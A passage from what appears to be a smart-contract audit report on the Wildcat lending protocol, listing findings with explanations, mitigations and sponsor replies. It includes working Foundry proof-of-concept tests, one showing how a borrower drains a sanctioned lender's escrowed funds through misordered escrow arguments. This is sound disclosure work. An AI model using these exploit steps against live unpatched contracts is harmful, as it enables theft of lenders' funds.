That means whether or not the borrower has anything to do with a sanctioned account and their funds ever, that account will never be able to get their money back in case their sanction gets dismissed.

Proof of Concept

Consider this scenario to illustrate how the issue can be exploited:

Bob The Borrower creates a market.
Bob authorizes Larry The Lender as a lender in the created market.
Larry deposits funds into the market.
Larry gets sanctioned in Chainalysis.
Bob invokes WildcatMarket#nukeFromOrbit(larryAddress), blocking Larry and creating a vulnerable WildcatSanctionsEscrow where Larry’s market tokens are transferred.
Bob authorizes himself as a lender in the market via WildcatMarketController#authorizeLenders(bobAddress).
Bob initiates a withdrawal using WildcatMarket#queueWithdrawal().
After the withdrawal batch duration expires, Bob calls WildcatMarket#executeWithdrawal() and gains access to all of Larry’s assets.

Now, let’s delve into the specifics and mechanics of the vulnerability:

The nukeFromOrbit() function calls _blockAccount(state, larryAddress), blocking Larry’s account, creating an escrow, and transferring his market tokens to that escrow.

//@audit                                                     Larry
//@audit                                                       â†“
function _blockAccount(MarketState memory state, address accountAddress) internal {
  Account memory account = _accounts[accountAddress];
  // ...
  account.approval = AuthRole.Blocked;
  // ...
  account.scaledBalance = 0;
  address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow(
	accountAddress, //@audit â† Larry
	borrower,       //@audit â† Bob
	address(this)
  );
  // ...
  _accounts[escrow].scaledBalance += scaledBalance;
  // ...
}

In the code snippet, notice the order of arguments passed to createEscrow():

createEscrow(accountAddress, borrower, address(this));

However, when we examine the WildcatSanctionsSentinel#createEscrow() implementation, we see a different order of arguments. This results in an incorrect construction of tmpEscrowParams:

function createEscrow(
	address borrower, //@audit â† Larry
	address account,  //@audit â† Bob
	address asset
) public override returns (address escrowContract) {
  // ...
  // @audit                        ( Larry  ,   Bob  , asset)
  // @audit                            â†“         â†“       â†“
  tmpEscrowParams = TmpEscrowParams(borrower, account, asset);
  new WildcatSanctionsEscrow{ salt: keccak256(abi.encode(borrower, account, asset)) }();
  // ...
}

The tmpEscrowParams are essential for setting up the escrow correctly. They are fetched in the constructor of WildcatSanctionsEscrow, and the order of these parameters is significant:

constructor() {
  sentinel = msg.sender;  
  (borrower, account, asset) = WildcatSanctionsSentinel(sentinel).tmpEscrowParams();
//     â†‘        â†‘       â†‘   
//(  Larry ,   Bob  , asset) are the params fetched here. @audit
}

However, due to the misordered arguments in _blockAccount(), what’s passed as tmpEscrowParams is (borrower = Larry, account = Bob, asset), which is incorrect. This misordering affects the canReleaseEscrow() function, which determines whether releaseEscrow() should proceed or revert.

function canReleaseEscrow() public view override returns (bool) {
	//@audit                                                 Larry      Bob
	//                                                         â†“         â†“
	return !WildcatSanctionsSentinel(sentinel).isSanctioned(borrower, account);
}

The misordered parameters impact the return value of sentinel.isSanctioned(). It mistakenly checks Bob against the sanctions list, where he is not sanctioned.

//@audit                       Larry              Bob
//                               â†“                 â†“
function isSanctioned(address borrower, address account) public view override returns (bool) {
 return
   !sanctionOverrides[borrower][account] && // true
   IChainalysisSanctionsList(chainalysisSanctionsList).isSanctioned(account); // false
}

Thus isSanctioned() returns false and consequently canReleaseEscrow() returns true. This allows Bob to successfully execute releaseEscrow() and drain all of Larry’s market tokens:

function releaseEscrow() public override {
  if (!canReleaseEscrow()) revert CanNotReleaseEscrow();

  uint256 amount = balance();
  
  //@audit                 Bob   Larry's $
  //                        â†“       â†“
  IERC20(asset).transfer(account, amount);

  emit EscrowReleased(account, asset, amount);
}

After this, Bob simply needs to authorize himself as a lender in his own market and withdraw the actual assets.

Below is a PoC demonstrating how to execute the exploit. To proceed, please include the following import statements in test/market/WildcatMarketConfig.t.sol:

import 'src/WildcatSanctionsEscrow.sol';

import "forge-std/console2.sol";

Add the following test test/market/WildcatMarketConfig.t.sol as well:

function test_borrowerCanStealSanctionedLendersFunds() external {
  vm.label(borrower, "bob"); // Label borrower for better trace readability

  // This is Larry The Lender
  address larry = makeAddr("larry");

  // Larry deposists 10e18 into Bob's market
  _deposit(larry, 10e18);

  // Larry's been a bad guy and gets sanctioned
  sanctionsSentinel.sanction(larry);

  // Larry gets nuked by the borrower
  vm.prank(borrower);
  market.nukeFromOrbit(larry);

  // The vulnerable escrow in which Larry's funds get moved
  address vulnerableEscrow = sanctionsSentinel.getEscrowAddress(larry, borrower, address(market));
  vm.label(vulnerableEscrow, "vulnerableEscrow");

  // Ensure Larry's funds have been moved to his escrow
  assertEq(market.balanceOf(larry), 0);
  assertEq(market.balanceOf(vulnerableEscrow), 10e18);

  // Malicious borrower is able to release the escrow due to the vulnerability
  vm.prank(borrower);
  WildcatSanctionsEscrow(vulnerableEscrow).releaseEscrow();

  // Malicious borrower has all of Larry's tokens
  assertEq(market.balanceOf(borrower), 10e18);

  // The borrower authorizes himself as a lender in the market
  _authorizeLender(borrower);

  // Queue withdrawal of all funds
  vm.prank(borrower);
  market.queueWithdrawal(10e18);

  // Fast-forward to when the batch duration expires
  fastForward(parameters.withdrawalBatchDuration);
  uint32 expiry = uint32(block.timestamp);

  // Execute the withdrawal
  market.executeWithdrawal(borrower, expiry);

  // Assert the borrower has drained all of Larry's assets
  assertEq(asset.balanceOf(borrower), 10e18);
}

Run the PoC like this:

forge test --match-test test_borrowerCanStealSanctionedLendersFunds -vvvv

Recommended Mitigation Steps

Fix the order of parameters in WildcatSanctionsSentinel#createEscrow(borrower, account, asset):

  function createEscrow(
-   address borrower,
+   address account,
-   address account,
+   address borrower,
    address asset
  ) public override returns (address escrowContract) {

Assessed type

Error

Mitigated here.

https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketBase.sol#L361-L376
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketBase.sol#L466-L492

Medium Risk Findings (10)

[M-01] When a batch of withdrawals expires, that batch is often underpaid their owed interest

Submitted by Toshii, also found by Yanchuan and caventa

Lines of code

Impact

Until the exact timestamp that a payment is processed for a given withdrawal batch (batch.scaledAmountBurned incremented, batch.normalizedAmountPaid incremented), the underlying amount of that batch should continue to be earning interest. It’s only when the payment is actually made that the underlying amount of the batch should stop earning interest - at this point users in that batch are actually able to withdraw funds. This is clear with the general flow of logic of how _applyWithdrawalBatchPayment is being called.

This flow is not being followed when a batch of withdrawals first expires. Instead of getting paid interest up until the current block.timestamp, they are only paid interest up to the timestamp of the expiry. This means, (assuming theres enough assets currently in the market to pay off that batch of withdrawals) users in that batch are unfairly losing out on (block.timestamp - expiry) the duration of interest. As this duration increases, those lenders are losing increasing amounts of interest.

Proof of Concept

The logic for handling a withdrawal batch when it first expires occurs in the WildcatMarketBase:_getUpdatedState function, which is defined as follows:

function _getUpdatedState() internal returns (MarketState memory state) {
  state = _state;
  // Handle expired withdrawal batch
  if (state.hasPendingExpiredBatch()) {
    uint256 expiry = state.pendingWithdrawalExpiry;
    // Only accrue interest if time has passed since last update.
    // This will only be false if withdrawalBatchDuration is 0.
    if (expiry != state.lastInterestAccruedTimestamp) {
      (uint256 baseInterestRay, uint256 delinquencyFeeRay, uint256 protocolFee) = state
        .updateScaleFactorAndFees(
          protocolFeeBips,
          delinquencyFeeBips,
          delinquencyGracePeriod,
          expiry // @issue
        );
      emit ScaleFactorUpdated(state.scaleFactor, baseInterestRay, delinquencyFeeRay, protocolFee);
    }
    _processExpiredWithdrawalBatch(state);
  }
  ...
}

Effectively, the market parameters related to the accrued interest owed to lenders (most important of which is state.scaleFactor) is updated in the state.updateScaleFactorAndFees(..) call, which we can see updates the interest up to the expiry timestamp. Let’s consider a scenario where state.lastInterestAccruedTimestamp = N, expiry= N, and block.timestamp= N+86_400 (one day). At this point in time, all lenders in this market (including lenders in this expiring withdrawal batch) are owed interest for N+86_400-N = 86_400, which is the duration from the current block.timestamp to the previous timestamp that interest was accrued.

Considering this, in the above function call, (expiry != state.lastInterestAccruedTimestamp)= False and so it is skipped. However, even if expiry = N+1 for example, and it is not skipped, there is still a fundamental issue. For simplicity, I’m just assuming expiry = N. Next, _processExpiredWithdrawalBatch is called, which is defined as follows:

function _processExpiredWithdrawalBatch(MarketState memory state) internal {
  uint32 expiry = state.pendingWithdrawalExpiry;
  WithdrawalBatch memory batch = _withdrawalData.batches[expiry];

  // Burn as much of the withdrawal batch as possible with available liquidity.
  uint256 availableLiquidity = batch.availableLiquidityForPendingBatch(state, totalAssets());
  if (availableLiquidity > 0) {
    _applyWithdrawalBatchPayment(batch, state, expiry, availableLiquidity);
  }
  ...
}

Here, let’s assume that the borrower has left enough assets in the Market so that the entire withdrawal batch which just expired can be paid out in full. This logic is implemented in the _applyWithdrawalBatchPayment function, which is defined as follows:

function _applyWithdrawalBatchPayment(
  WithdrawalBatch memory batch,
  MarketState memory state,
  uint32 expiry,
  uint256 availableLiquidity
) internal {
  uint104 scaledAvailableLiquidity = state.scaleAmount(availableLiquidity).toUint104();
  uint104 scaledAmountOwed = batch.scaledTotalAmount - batch.scaledAmountBurned;
  // Do nothing if batch is already paid
  if (scaledAmountOwed == 0) {
    return;
  }
  uint104 scaledAmountBurned = uint104(MathUtils.min(scaledAvailableLiquidity, scaledAmountOwed));
  uint128 normalizedAmountPaid = state.normalizeAmount(scaledAmountBurned).toUint128();

  batch.scaledAmountBurned += scaledAmountBurned;
  batch.normalizedAmountPaid += normalizedAmountPaid;
  state.scaledPendingWithdrawals -= scaledAmountBurned;

  // Update normalizedUnclaimedWithdrawals so the tokens are only accessible for withdrawals.
  state.normalizedUnclaimedWithdrawals += normalizedAmountPaid;
  ...
}

The important thing to note here is that the normalizedAmountPaid is based on referencing the current state.scaleFactor. However, this state.scaleFactor does not include the 86_400 seconds of interest which is actually owed to the lenders in this withdrawal batch. Rather, they are being cheated out of this interest entirely.

Recommended Mitigation Steps

It is not logical that the most recent expired batch only get paid interest up to the expiry. Instead, they should be getting the full amount of interest up to the amount of time they are paid. The WildcatMarketBase:_getUpdatedState function should be changed accordingly:

function _getUpdatedState() internal returns (MarketState memory state) {
  state = _state;

  if (block.timestamp != state.lastInterestAccruedTimestamp) {
    (uint256 baseInterestRay, uint256 delinquencyFeeRay, uint256 protocolFee) = state
      .updateScaleFactorAndFees(
        protocolFeeBips,
        delinquencyFeeBips,
        delinquencyGracePeriod,
        block.timestamp
      );
    emit ScaleFactorUpdated(state.scaleFactor, baseInterestRay, delinquencyFeeRay, protocolFee);
  }

  // Handle expired withdrawal batch
  if (state.hasPendingExpiredBatch()) {
    _processExpiredWithdrawalBatch(state);
  }
}

d1ll0n (Wildcat) acknowledged

[M-02] Blocked accounts keep earning interest contrary to the WhitePaper

Submitted by osmanozdemir1, also found by QiuhaoLi, Infect3d, crunch, 0xCiphky, circlelooper, Jiamin, 0xStalin, Juntao, rvierdiiev, and HChang26

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketConfig.sol#L79
https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketBase.sol#L178

Proof of Concept

Lenders might be flagged as sanctioned by the ChainAnalysis oracle and these lenders can be blocked with the nukeFromOrbit() function or during a withdrawal execution. Both of these functions will call the internal _blockAccount() function.

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketBase.sol#L163

  function _blockAccount(MarketState memory state, address accountAddress) internal {

      // skipped for brevity
@>    if (scaledBalance > 0) {
        account.scaledBalance = 0;
        address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow(
          accountAddress,
          borrower,
          address(this)
        );
        emit Transfer(accountAddress, escrow, state.normalizeAmount(scaledBalance));
@>      _accounts[escrow].scaledBalance += scaledBalance;
        
      // skipped for brevity
    }
  }

As we can see above, if the user’s scaled balance is greater than zero, an escrow contract is created for market tokens and the scaled token balance is transferred to the escrow contract.

In this protocol, there are two types of tokens: Underlying tokens, and market tokens. Market tokens are used for internal balance accounting and it is tracked with scaled balances. Underlying tokens are tracked with normalized balances. scaleFactor is the value that provides accumulated interest, and increment with every state update. scaled balances are multiplied by the scaleFactor and this will provide the normalized balances.

Scaled balances do earn interest.
Normalized balances do not earn interest.

According to the protocol’s WhitePaper (page 16), blocked accounts should not earn interest.

“The effect of this would be that an auxiliary escrow contract is deployed and the debt obligation of the borrower towards the lender is transferred to this new contract. Interest does not accrue within this contract from the time the debt is transferred, and the borrower is expected to immediately return the balance of funds due up to that time to the escrow contract.”

However, because the escrow contract holds scaled balances, these funds will keep earning interest. These scaled balances will be normalized when the funds are released (after the sanction is removed) according to that date’s scaleFactor.

Note: There might be two escrow contracts for the same lender if it is triggered during a withdrawal request. One with market tokens and the other with underlying tokens. The one with underlying tokens does not earn interest as expected. However, the escrow with the market tokens will still keep earning interest. I believe a blocked account earning interest contradicts the idea of the blocking.

Recommended Mitigation Steps

I think all of the scaled balances should be normalized before transferring to the escrow contract to stop earning interest.

Assessed type

Context

WildcatMarket.sol#L56-L65

Error in whitepaper. Acknowledged (and embarrassing) but won’t fix.

Needs to account for growth in the event that the sanction is performed by a hostile (read: non-Chainalysis) actor in control of the oracle. Borrowers affected by this that are concerned about growth potential can close the market.

laurenceday (Wildcat) acknowledged

Note: For full discussion, see here.

[M-03] Protocol markets are incompatible with rebasing tokens

Submitted by MiloTruck, also found by 0xStalin, GREY-HAWK-REACH, devival, J4X, DarkTower, YusSecurity, and InAllHonesty

Some tokens (eg. AMPL), known as rebasing tokens, have dynamic balances. This means that the token balance of an address could increase or decrease over time.

However, markets in the protocol are unable to handle such changes in token balance. When lenders call depositUpTo(), the amount of assets they deposit is stored as a fixed amount in account.scaledBalance:

    uint104 scaledAmount = state.scaleAmount(amount).toUint104();
    if (scaledAmount == 0) revert NullMintAmount();

    // Transfer deposit from caller
    asset.safeTransferFrom(msg.sender, address(this), amount);

    // Cache account data and revert if not authorized to deposit.
    Account memory account = _getAccountWithRole(msg.sender, AuthRole.DepositAndWithdraw);
    account.scaledBalance += scaledAmount;
    _accounts[msg.sender] = account;

Afterwards, when lenders want to withdraw their assets, the amount of assets that they can withdraw will be based off this value.

Therefore, since a lender’s scaledBalance is fixed and does not change according to the underlying asset balance, lenders will lose funds if they deposit into a market with a rebasing token as the asset.

For example, if AMPL is used as the market’s asset, and AMPL rebases to increase the token balance of all its users, lenders in the market will still only be able to withdraw the original amount they deposited multiplied by the market’s interest rate. The underlying increase in AMPL will not accrue to anyone, and is only accessible by the borrower by calling borrow().

Impact

If a market uses a rebasing tokens as its asset, lenders will lose funds when the asset token rebases.

Recommended Mitigation

Consider implementing a token blacklist in the protocol, such as in WildcatArchController, and adding all rebasing tokens to this blacklist.

Additionally, consider documenting that markets are not compatible with rebasing tokens.

Assessed type

ERC20

laurenceday (Wildcat) acknowledged, but disagreed with severity and commented:

This is a Low that we can flag up to borrowers deploying. Not interested in maintaining a token whitelist or blacklist, as it goes against the point that we don’t intervene.

WildcatMarketBase.sol#L510-L518

I cannot find any info within the scope of this audit that rebasing tokens are OOS or unsupported. Please let me know, in case I overlooked it.

Rebasing tokens, like stETH to name a “central” example, are no novelty in the DeFi space anymore and users expect DeFi protocols to be compatible with them when no further notice is provided.

Note: For full discussion, see here.

[M-04] Calculation for lender withdrawals in `_applyWithdrawalBatchPayment()` should not round up

Submitted by MiloTruck

After a lender calls queueWithdrawal(), the amount of assets allocated to a withdrawal batch is calculated in _applyWithdrawalBatchPayment() as shown:

    uint104 scaledAmountBurned = uint104(MathUtils.min(scaledAvailableLiquidity, scaledAmountOwed));
    uint128 normalizedAmountPaid = state.normalizeAmount(scaledAmountBurned).toUint128();

    batch.scaledAmountBurned += scaledAmountBurned;
    batch.normalizedAmountPaid += normalizedAmountPaid;
    state.scaledPendingWithdrawals -= scaledAmountBurned;

    // Update normalizedUnclaimedWithdrawals so the tokens are only accessible for withdrawals.
    state.normalizedUnclaimedWithdrawals += normalizedAmountPaid;

The calculation relies on normalizeAmount() to convert the amount of market tokens in a batch into assets.

However, as normalizeAmount() rounds up, it might cause the amount of assets allocated to a batch to be 1 higher than the correct amount. For example, if availableLiquidity is 77e6 USDC, normalizedAmount could become 77e6 + 1 after calculation due to rounding.

This is problematic, as it causes totalDebts() to increase, causing the market to incorrectly become delinquent after _applyWithdrawalBatchPayment() is called although the borrower has transferred sufficient assets.

More specifically, if a market’s asset balance is equal to totalDebts(), it should never be delinquent, regardless of what function is called, as the market has sufficient assets to cover the amount owed. However, due to the bug shown above, this could occur after a function such as queueWithdrawal() is called.

Impact

A market could incorrectly become delinquent after _applyWithdrawalBatchPayment() is called.

This could cause a borrower to wrongly pay a higher interest rate; for example:

Borrower calls totalDebts() to get the amount of assets owed.
Borrower transfers the assets to the market and calls updateState().
Borrower assumes that the market is no longer delinquent.
However, due to the bug above, the market becomes delinquent after a lender calls queueWithdrawal().
This activates the delinquency fee, causing the borrower to pay a higher interest rate.

Additionally, this bug also makes it possible for a market to become delinquent after it is closed through closeMarket(), which should not be possible.

Proof of Concept

The code below contains two tests:

test_queueWithdrawalRoundingAffectsDelinquency() demonstrates how rounding up in _applyWithdrawalBatchPayment() could make the market delinquent even when it should not be.
test_marketCanBecomeDelinquentAfterClosing() shows how a market can become delinquent even after closeMarket() is called.

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.20;

import 'src/WildcatArchController.sol';
import 'src/WildcatMarketControllerFactory.sol';

import 'forge-std/Test.sol';
import 'test/shared/TestConstants.sol';
import 'test/helpers/MockERC20.sol';

contract WithdrawalRoundingTest is Test {
    // Wildcat contracts
    WildcatMarketController controller;
    WildcatMarket market;
    
    // Test contracts
    MockERC20 asset = new MockERC20();

    // Users
    address AIKEN;
    address DUEET;

    function setUp() external {
        // Deploy Wildcat contracts
        WildcatArchController archController = new WildcatArchController();
        MarketParameterConstraints memory constraints = MarketParameterConstraints({
            minimumDelinquencyGracePeriod: MinimumDelinquencyGracePeriod,
            maximumDelinquencyGracePeriod: MaximumDelinquencyGracePeriod,
            minimumReserveRatioBips: 0,
            maximumReserveRatioBips: MaximumReserveRatioBips,
            minimumDelinquencyFeeBips: 0,
            maximumDelinquencyFeeBips: MaximumDelinquencyFeeBips,
            minimumWithdrawalBatchDuration: MinimumWithdrawalBatchDuration,
            maximumWithdrawalBatchDuration: MaximumWithdrawalBatchDuration,
            minimumAnnualInterestBips: MinimumAnnualInterestBips,
            maximumAnnualInterestBips: MaximumAnnualInterestBips
        });
        WildcatMarketControllerFactory controllerFactory = new WildcatMarketControllerFactory(
            address(archController),
            address(0),
            constraints
        );

        // Set protocol fee to 10%
        controllerFactory.setProtocolFeeConfiguration(
            address(1),
            address(0),
            0, 
            1000 // protocolFeeBips
        );

        // Register controllerFactory in archController
        archController.registerControllerFactory(address(controllerFactory));

        // Setup users
        AIKEN = makeAddr("AIKEN");
        DUEET = makeAddr("DUEET");
        asset.mint(AIKEN, 1000e18);
        asset.mint(DUEET, 1000e18);
        
        // Deploy controller and market for Aiken
        archController.registerBorrower(AIKEN);
        vm.prank(AIKEN);
        (address _controller, address _market) = controllerFactory.deployControllerAndMarket(
            "Market Token",
            "MKT",
            address(asset),
            type(uint128).max,
            50, // annual interest rate = 5%
            300, // delinquency fee = 30%
            3 weeks,
            300, // reserve ratio = 30%
            MaximumDelinquencyGracePeriod
        );
        controller = WildcatMarketController(_controller);
        market = WildcatMarket(_market);

        // Register Dueet as lender
        address[] memory arr = new address[](1);
        arr[0] = DUEET;
        vm.prank(AIKEN);
        controller.authorizeLenders(arr);
    }

    function test_queueWithdrawalRoundingAffectsDelinquency() public {
        // Dueet deposits 1000e18 tokens
        vm.startPrank(DUEET);
        asset.approve(address(market), 1000e18);
        market.depositUpTo(1000e18);
        vm.stopPrank();

        // Aiken borrows all assets
        uint256 amount = market.borrowableAssets();
        vm.prank(AIKEN);
        market.borrow(amount);

        // 1 day and 1 second passes
        skip(1 days + 1);

        // Aiken transfers assets so that market won't be delinquent even after full withdrawal
        amount = market.currentState().totalDebts() - market.totalAssets();
        vm.prank(AIKEN);
        asset.transfer(address(market), amount);

        // Collect fees
        market.collectFees();

        // Save snapshot before withdrawals
        uint256 snapshot = vm.snapshot();

        // Market won't be delinquent if Dueet withdraws all tokens at once
        amount = market.balanceOf(DUEET);
        vm.prank(DUEET);
        market.queueWithdrawal(amount);
        assertFalse(market.currentState().isDelinquent);

        // Revert state to before withdrawals
        vm.revertTo(snapshot);

        // Dueet withdraws 710992167266111033190 tokens
        vm.prank(DUEET);
        market.queueWithdrawal(710992167266111033190);

        // Dueet withdraws the rest of his tokens
        amount = market.balanceOf(DUEET);
        vm.prank(DUEET);
        market.queueWithdrawal(amount);

        // Market is now delinquent although same amount of tokens was withdrawn
        assertTrue(market.currentState().isDelinquent);
    }

    function test_marketCanBecomeDelinquentAfterClosing() public {
        // Dueet deposits 1000e18 tokens
        vm.startPrank(DUEET);
        asset.approve(address(market), 1000e18);
        market.depositUpTo(1000e18);
        vm.stopPrank();

        // Aiken borrows all assets
        uint256 amount = market.borrowableAssets();
        vm.prank(AIKEN);
        market.borrow(amount);

        // 1 day and 1 second passes
        skip(1 days + 1);

        // Aiken closes the market
        amount = market.currentState().totalDebts();
        vm.prank(AIKEN);
        asset.approve(address(market), amount);
        vm.prank(address(controller));
        market.closeMarket();

        // Collect fees
        market.collectFees();

        // Dueet withdraws 710992167266111033190 tokens
        vm.prank(DUEET);
        market.queueWithdrawal(710992167266111033190);

        // Dueet withdraws the rest of his tokens
        amount = market.balanceOf(DUEET);
        vm.prank(DUEET);
        market.queueWithdrawal(amount);

        // Market is now delinquent, even though it has been closed
        assertTrue(market.currentState().isDelinquent);
    }
}

Recommended Mitigation

In _applyWithdrawalBatchPayment(), consider rounding down when calculating the amount of assets allocated to a batch:

WildcatMarketBase.sol#L510-L511

    uint104 scaledAmountBurned = uint104(MathUtils.min(scaledAvailableLiquidity, scaledAmountOwed));
-   uint128 normalizedAmountPaid = state.normalizeAmount(scaledAmountBurned).toUint128();
+   uint128 normalizedAmountPaid = MathUtils.mulDiv(scaledAmountBurned, state.scaleFactor, MathUtils.RAY).toUint128();

Assessed type

Math

d1ll0n (Wildcat) confirmed

[M-05] `collectFees()` updates delinquency wrongly as `_writeState()` is called before assets are transferred

Submitted by MiloTruck, also found by deth, yumsec (1, 2), deepkin, and T1MOH

The collectFees() function calls _writeState() before transferring assets to the feeRecipient:

WildcatMarket.sol#L106-L107

    _writeState(state);
    asset.safeTransfer(feeRecipient, withdrawableFees);

However, _writeState() calls totalAssets() when checking if the market is delinquent:

WildcatMarketBase.sol#L448-L453

  function _writeState(MarketState memory state) internal {
    bool isDelinquent = state.liquidityRequired() > totalAssets();
    state.isDelinquent = isDelinquent;
    _state = state;
    emit StateUpdated(state.scaleFactor, isDelinquent);
  }

totalAssets() returns the current asset balance of the market:

WildcatMarketBase.sol#L238-L240

  function totalAssets() public view returns (uint256) {
    return IERC20(asset).balanceOf(address(this));
  }

Since the transfer of assets is only performed after _writeState() is called, totalAssets() will be higher than it should be in _writeState(). This could cause collectFees() to incorrectly update state.isDelinquent to false when the market is still delinquent.

For example:

Assume a market has the following state:
- liquidityRequired() = 1050.
- totalAssets() = 1000.
- state.accruedProtocolFees = 50.
The market’s borrower calls collectFees(). In _writeState():
- liquidityRequired() = 1050 - 50 = 1000.
- totalAssets() = 1000 since the transfer of assets has not occurred.
- As liquidityRequired() == totalAssets(), isDelinquent is updated to false.
- However, the market is actually still delinquent as totalAssets() will be 950 after the call to collectFees().

Impact

collectFees() will incorrectly update the market to non-delinquent when liquidityRequired() < totalAssets() + state.accuredProtocolFees.

Should this occur, the delinquency fee will not be added to scaleFactor until the market’s state is updated later on, causing a loss of yield for lenders since the borrower gets to avoid paying the penalty fee for a period of time.

Proof of Concept

The following test demonstrates how collectFees() incorrectly updates state.isDelinquent to false when the market is still delinquent:

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.20;

import 'src/WildcatArchController.sol';
import 'src/WildcatMarketControllerFactory.sol';

import 'forge-std/Test.sol';
import 'test/shared/TestConstants.sol';
import 'test/helpers/MockERC20.sol';

contract CollectFeesTest is Test {
    // Wildcat contracts
    WildcatMarketController controller;
    WildcatMarket market;
    
    // Test contracts
    MockERC20 asset = new MockERC20();

    // Users
    address AIKEN;
    address DUEET;

    function setUp() external {
        // Deploy Wildcat contracts
        WildcatArchController archController = new WildcatArchController();
        MarketParameterConstraints memory constraints = MarketParameterConstraints({
            minimumDelinquencyGracePeriod: MinimumDelinquencyGracePeriod,
            maximumDelinquencyGracePeriod: MaximumDelinquencyGracePeriod,
            minimumReserveRatioBips: MinimumReserveRatioBips,
            maximumReserveRatioBips: MaximumReserveRatioBips,
            minimumDelinquencyFeeBips: MinimumDelinquencyFeeBips,
            maximumDelinquencyFeeBips: MaximumDelinquencyFeeBips,
            minimumWithdrawalBatchDuration: MinimumWithdrawalBatchDuration,
            maximumWithdrawalBatchDuration: MaximumWithdrawalBatchDuration,
            minimumAnnualInterestBips: MinimumAnnualInterestBips,
            maximumAnnualInterestBips: MaximumAnnualInterestBips
        });
        WildcatMarketControllerFactory controllerFactory = new WildcatMarketControllerFactory(
            address(archController),
            address(0),
            constraints
        );

        // Set protocol fee to 10%
        controllerFactory.setProtocolFeeConfiguration(
            address(1),
            address(0),
            0, 
            1000 // protocolFeeBips
        );

        // Register controllerFactory in archController
        archController.registerControllerFactory(address(controllerFactory));

        // Setup Aiken and register him as borrower
        AIKEN = makeAddr("AIKEN");
        archController.registerBorrower(AIKEN);
        asset.mint(AIKEN, 1000e18);

        // Setup Dueet and give him some asset token
        DUEET = makeAddr("DUEET");
        asset.mint(DUEET, 1000e18);
        
        // Deploy controller and market for Aiken
        vm.prank(AIKEN);
        (address _controller, address _market) = controllerFactory.deployControllerAndMarket(
            "Market Token",
            "MKT",
            address(asset),
            type(uint128).max,
            MaximumAnnualInterestBips,
            MaximumDelinquencyFeeBips,
            MaximumWithdrawalBatchDuration,
            MaximumReserveRatioBips,
            MaximumDelinquencyGracePeriod
        );
        controller = WildcatMarketController(_controller);
        market = WildcatMarket(_market);
    }

    function test_collectFeesUpdatesDelinquencyWrongly() public {
        // Register Dueet as lender
        address[] memory arr = new address[](1);
        arr[0] = DUEET;
        vm.prank(AIKEN);
        controller.authorizeLenders(arr);

        // Dueet becomes a lender in the market
        vm.startPrank(DUEET);
        asset.approve(address(market), 1000e18);
        market.depositUpTo(1000e18);
        vm.stopPrank();

        // Some time passes, market becomes delinquent
        skip(2 weeks);
        market.updateState();
        MarketState memory state = market.previousState();
        assertTrue(state.isDelinquent);

        // Aiken tops up some assets
        uint256 amount = market.coverageLiquidity() -  market.totalAssets() - market.accruedProtocolFees();
        vm.prank(AIKEN);
        asset.transfer(address(market), amount);
        
        // Someone calls collectFees()
        market.collectFees();

        // Market was updated to not delinquent
        state = market.previousState();
        assertFalse(state.isDelinquent);

        // However, it should be delinquent as liquidityRequired > totalAssets()
        assertGt(market.coverageLiquidity(), market.totalAssets());
    }
}

Recommended Mitigation

In collectFees(), consider calling _writeState() after assets have been transferred to the feeRecipient:

WildcatMarket.sol#L106-L107

-   _writeState(state);
    asset.safeTransfer(feeRecipient, withdrawableFees);
+   _writeState(state);

laurenceday (Wildcat) confirmed and commented:

Mitigated here.

Note: For full discussion, see here.

[M-06] `create2WithStoredInitCode()` does not revert if contract deployment failed

Submitted by MiloTruck, also found by nonseodion, Robert, LokiThe5th, 0xCiphky, Madalad, and ZdravkoHr

In LibStoredInitCode.sol, the create2WithStoredInitCode() function, which is used to deploy contracts with the CREATE2 opcode, is as shown:

LibStoredInitCode.sol#L106-L117

  function create2WithStoredInitCode(
    address initCodeStorage,
    bytes32 salt,
    uint256 value
  ) internal returns (address deployment) {
    assembly {
      let initCodePointer := mload(0x40)
      let initCodeSize := sub(extcodesize(initCodeStorage), 1)
      extcodecopy(initCodeStorage, initCodePointer, 1, initCodeSize)
      deployment := create2(value, initCodePointer, initCodeSize, salt)
    }
  }

The create2 opcode returns address(0) if contract deployment reverted. However, as seen from above, create2WithStoredInitCode() does not check if the deployment address is address(0).

This is an issue as deployMarket() will not revert when deployment of the WildcatMarket contract fails:

WildcatMarketController.sol#L354-L357

    LibStoredInitCode.create2WithStoredInitCode(marketInitCodeStorage, salt);

    archController.registerMarket(market);
    _controlledMarkets.add(market);

Therefore, if the origination fee is enabled for the protocol, users that call deployMarket() will pay the origination fee even if the market was not deployed.

Additionally, the market address will be registered in the WildcatArchController contract and added to _addControlledMarkets. This will cause both sets to become inaccurate if deployment failed as market would be an address that has no code.

This also leads to more problems if a user attempts to call deployMarket() with the same asset, namePrefix and symbolPrefix. Since the market address has already been registered, registerMarket() will revert when called for a second time:

WildcatArchController.sol#L192-L195

  function registerMarket(address market) external onlyController {
    if (!_markets.add(market)) {
      revert MarketAlreadyExists();
    }

As such, if a user calls deployMarket() and market deployment fails, they cannot call deployMarket() with the same set of parameters ever again.

Note that it is possible for market deployment to fail, as seen in the constructor of WildcatMarketBase:

WildcatMarketBase.sol#L79-L99

    if ((parameters.protocolFeeBips > 0).and(parameters.feeRecipient == address(0))) {
      revert FeeSetWithoutRecipient();
    }
    if (parameters.annualInterestBips > BIP) {
      revert InterestRateTooHigh();
    }
    if (parameters.reserveRatioBips > BIP) {
      revert ReserveRatioBipsTooHigh();
    }
    if (parameters.protocolFeeBips > BIP) {
      revert InterestFeeTooHigh();
    }
    if (parameters.delinquencyFeeBips > BIP) {
      revert PenaltyFeeTooHigh();
    }

    // Set asset metadata
    asset = parameters.asset;
    name = string.concat(parameters.namePrefix, queryName(parameters.asset));
    symbol = string.concat(parameters.symbolPrefix, querySymbol(parameters.asset));
    decimals = IERC20Metadata(parameters.asset).decimals();

For example, the protocol could have configured protocolFeeBips or feeRecipient incorrectly. Alternatively, asset could be an invalid address, or an ERC20 token that does not have the name(), symbol() or decimal() function.

Impact

